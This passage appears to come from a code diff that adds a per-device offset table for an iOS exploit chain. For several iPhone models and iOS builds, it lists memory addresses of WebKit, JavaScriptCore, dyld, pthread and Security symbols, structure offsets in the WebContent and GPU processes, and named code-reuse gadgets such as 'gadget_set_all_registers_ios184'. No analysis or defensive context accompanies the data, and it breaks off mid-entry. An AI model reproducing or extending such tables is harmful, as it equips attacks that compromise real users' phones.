0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cf098n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2b0000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce300n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,3_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,4_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edae3798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edae3280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edae31e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edae3230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edae2628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195f658n, + AXCoreUtilities__DefaultLoader: 0x1eb7c0be0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9366e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ee428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ee580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3bdcb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3be1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3be748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3be304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80b1898n, + DesktopServicesPriv_bss: 0x1ecca7a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8f0348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb928a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f7bc0n, + HOMEUI_cstring: 0x182f79636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865582cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9c2cb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9c2960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9c2968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9c2970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9c28b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9c2978n, + ImageIO__gImageIOLogProc: 0x1ee9c0960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8755ecn, + JavaScriptCore__jitAllowList: 0x1edb424a0n, + JavaScriptCore__jitAllowList_once: 0x1edb422b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac3d744n, + PerfPowerServicesReader_cstring: 0x257fbfe60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda62f18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5db688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5ef958n, + Security__gSecurityd: 0x1eb683d78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd91288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f1380f70n, + WebCore__PAL_getPKContactClass: 0x1eda67178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb922ed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8ddac8n, + WebCore__initPKContact_once: 0x1eda6fcb8n, + WebCore__initPKContact_value: 0x1eda6fcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6e480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6e478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6e460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb4c548n, + WebProcess_ensureGPUProcessConnection: 0x199199958n, + WebProcess_gpuProcessConnectionClosed: 0x199aec2fcn, + WebProcess_singleton: 0x1eda640c0n, + __pthread_head: 0x26a01c020n, + dyld__RuntimeState_emptySlot: 0x1a9a79b6cn, + dyld__RuntimeState_vtable: 0x1f2875aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a37fc8n, + dyld__signPointer: 0x1a9a433e4n, + emptyString: 0x1edb18420n, + free_slabs: 0x1ed9a9a90n, + gadget_control_1_ios184: 0x23f11c2ecn, + gadget_control_2_ios184: 0x1ad86ec28n, + gadget_control_3_ios184: 0x21f289150n, + gadget_loop_1_ios184: 0x1865fc18cn, + gadget_loop_2_ios184: 0x20d25dda8n, + gadget_loop_3_ios184: 0x184d2df1cn, + gadget_set_all_registers_ios184: 0x20dfd616cn, + jsc_base: 0x19a45e000n, + libARI_cstring: 0x218ae7820n, + libGPUCompilerImplLazy__invoker: 0x23cec17e8n, + libGPUCompilerImplLazy_cstring: 0x23c00b870n, + libdyld__dlopen: 0x1ad8707b8n, + libdyld__dlsym: 0x1ad871a34n, + libdyld__gAPIs: 0x1ed5bc000n, + libsystem_c__atexit_mutex: 0x1ed8cef58n, + libsystem_kernel__thread_suspend: 0x1d3da91c0n, + libsystem_pthread_base: 0x20d2ac000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ce1c0n, + mainRunLoop: 0x1edb30020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd2af30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb40708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + "iPhone17,5_22F76": { + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken: 0x1edadf798n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker: 0x1edadf280n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest: 0x1edadf1e0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice: 0x1edadf230n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance: 0x1edade628n, + AVFAudio__cfstr_SystemLibraryTextToSpeech: 0x1f195b658n, + AXCoreUtilities__DefaultLoader: 0x1eb7bcbe0n, + CAPointer: 0x20n, + CFNetwork__gConstantCFStringValueTable: 0x1ee9326e0n, + CGContextDelegate: 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt: 0x1ac3ea428n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage: 0x1ac3ea580n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ac3b9cb8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ac3ba1e4n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata: 0x1ac3ba748n, + CMPhoto__CMPhotoCompressionSessionAddExif: 0x1ac3ba304n, + CMPhoto__kCMPhotoTranscodeOption_Strips: 0x1e80ad898n, + DesktopServicesPriv_bss: 0x1ecca3a08n, + Foundation__NSBundleTables_bundleTables_value: 0x1ed8ec348n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap: 0xf0n, + GPUProcess_singleton: 0x1eb924a98n, + GetCurrentThreadTLSIndex_CurrentThreadIndex: 0x1ee7f3bc0n, + HOMEUI_cstring: 0x182f75636n, + IOSurfaceContextDelegate: 0x120n, + IOSurfaceDrawable: 0x150n, + IOSurfaceQueue: 0x48n, + ImageIO__IIOLoadCMPhotoSymbols: 0x18865182cn, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt: 0x1ed9becb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage: 0x1ed9be960n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage: 0x1ed9be968n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation: 0x1ed9be970n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata: 0x1ed9be8b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif: 0x1ed9be978n, + ImageIO__gImageIOLogProc: 0x1ee9bc960n, + JavaScriptCore__globalFuncParseFloat: 0x19a8715ecn, + JavaScriptCore__jitAllowList: 0x1edb3e4a0n, + JavaScriptCore__jitAllowList_once: 0x1edb3e2b8n, + MediaAccessibility__MACaptionAppearanceGetDisplayType: 0x1bac39744n, + PerfPowerServicesReader_cstring: 0x257fb7e60n, + RemoteGraphicsContextGLWorkQueue: 0x1eda5ef18n, + RemoteRenderingBackendProxy_off: 0x830n, + Security__SecKeychainBackupSyncable_block_invoke: 0x18b5d7688n, + Security__SecOTRSessionProcessPacketRemote_block_invoke: 0x18b5eb958n, + Security__gSecurityd: 0x1eb67fd78n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit: 0x1edd8d288n, + UI_m_connection: 0x28n, + WebCore__DedicatedWorkerGlobalScope_vtable: 0x1f137cf70n, + WebCore__PAL_getPKContactClass: 0x1eda63178n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value: 0x1eb91eed0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts: 0x1eb8d9ac8n, + WebCore__initPKContact_once: 0x1eda6bcb8n, + WebCore__initPKContact_value: 0x1eda6bcc0n, + WebCore__softLinkDDDFACacheCreateFromFramework: 0x1eda6a480n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray: 0x1eda6a478n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType: 0x1eda6a460n, + WebCore__softLinkOTSVGOTSVGTableRelease: 0x1eeb48548n, + WebProcess_ensureGPUProcessConnection: 0x199195958n, + WebProcess_gpuProcessConnectionClosed: 0x199ae82fcn, + WebProcess_singleton: 0x1eda600c0n, + __pthread_head: 0x269d78020n, + dyld__RuntimeState_emptySlot: 0x1a9a75b6cn, + dyld__RuntimeState_vtable: 0x1f2871aa0n, + dyld__dlopen_from_lambda_ret: 0x1a9a33fc8n, + dyld__signPointer: 0x1a9a3f3e4n, + emptyString: 0x1edb14420n, + free_slabs: 0x1ed9a5a90n, + gadget_control_1_ios184: 0x23f1142ecn, + gadget_control_2_ios184: 0x1ad86ac28n, + gadget_control_3_ios184: 0x21f281150n, + gadget_loop_1_ios184: 0x1865f818cn, + gadget_loop_2_ios184: 0x20d255da8n, + gadget_loop_3_ios184: 0x184d29f1cn, + gadget_set_all_registers_ios184: 0x20dfce16cn, + jsc_base: 0x19a45a000n, + libARI_cstring: 0x218adf820n, + libGPUCompilerImplLazy__invoker: 0x23ceb97e8n, + libGPUCompilerImplLazy_cstring: 0x23c003870n, + libdyld__dlopen: 0x1ad86c7b8n, + libdyld__dlsym: 0x1ad86da34n, + libdyld__gAPIs: 0x1ed5b8000n, + libsystem_c__atexit_mutex: 0x1ed8caf58n, + libsystem_kernel__thread_suspend: 0x1d3da51c0n, + libsystem_pthread_base: 0x20d2a4000n, + m_backend: 0x70n, + m_drawingArea: 0x50n, + m_gpuProcessConnection: 0x158n, + m_gpuProcessConnection_m_identifier: 0x38n, + m_imageBuffer: 0x18n, + m_isRenderingSuspended: 0xe8n, + m_platformContext: 0x38n, + m_remoteDisplayLists: 0x70n, + m_remoteRenderingBackendMap: 0xe8n, + m_webProcessConnections: 0x80n, + mach_task_self_ptr: 0x1ed8ca1c0n, + mainRunLoop: 0x1edb2c020n, + privateState_off: 0x7e8n, + pthread_create_jsc: 0x19bd26f30n, + pthread_create_offset: 0x6988n, + runLoopHolder_tid: 0x1edb3c708n, + rxBufferMtl_off: 0x100n, + rxMtlBuffer_off: 0x70n, + vertexAttribVector_off: 0x2548n + }, + + "iPhone11,2_4_6_22G86": { + __pthread_head : 0x268994020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f57f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4c38n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703ac8n, + free_slabs : 0x1ed7bd250n, + gadget_control_1_ios184 : 0x23ef3e2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21effe150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfcdce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6138n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x21885d820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23cce08b4n, + libGPUCompilerImplLazy_cstring : 0x23be2a870n, + libsystem_c__atexit_mutex : 0x1ed6e26d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d01c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1940n, + mainRunLoop : 0x1ed944020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x2576c7e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d022988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x270ffc000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed8766e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed954708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4ce0b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba53b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f1196630n, + WebCore__initPKContact_once : 0x1ed8834b8n, + WebCore__initPKContact_value : 0x1ed8834c0n, + WebCore__PAL_getPKContactClass : 0x1ed87a978n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed881c90n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed881c88n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed881c70n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee964548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7696b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb724300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed8778c0n, + WebCore__HTMLDocument_vtable : 0x1f10d9a68n, + }, + "iPhone11,8_22G86": { + __pthread_head : 0x268988020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8f5da8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1772560n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8f5890n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f57f0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8f5840n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f4c38n, + AXCoreUtilities__DefaultLoader : 0x1eb6086b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee74ee88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95b70n, + DesktopServicesPriv_bss : 0x1ecac95a8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f268ffb0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed92c420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed703ac8n, + free_slabs : 0x1ed7bd250n, + gadget_control_1_ios184 : 0x23ef0a2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f002150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd1ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd4a16cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee610660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb76f2a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7d6470n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7d6120n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7d6128n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7d6130n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7d6070n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7d6138n, + ImageIO__gImageIOLogProc : 0x1ee7d93f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed956470n, + JavaScriptCore__jitAllowList_once : 0x1ed956288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218861820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d0000n, + libGPUCompilerImplLazy__invoker : 0x23ccac8b4n, + libGPUCompilerImplLazy_cstring : 0x23bdf6870n, + libsystem_c__atexit_mutex : 0x1ed6e26d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d020000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e1940n, + mainRunLoop : 0x1ed944020n, + 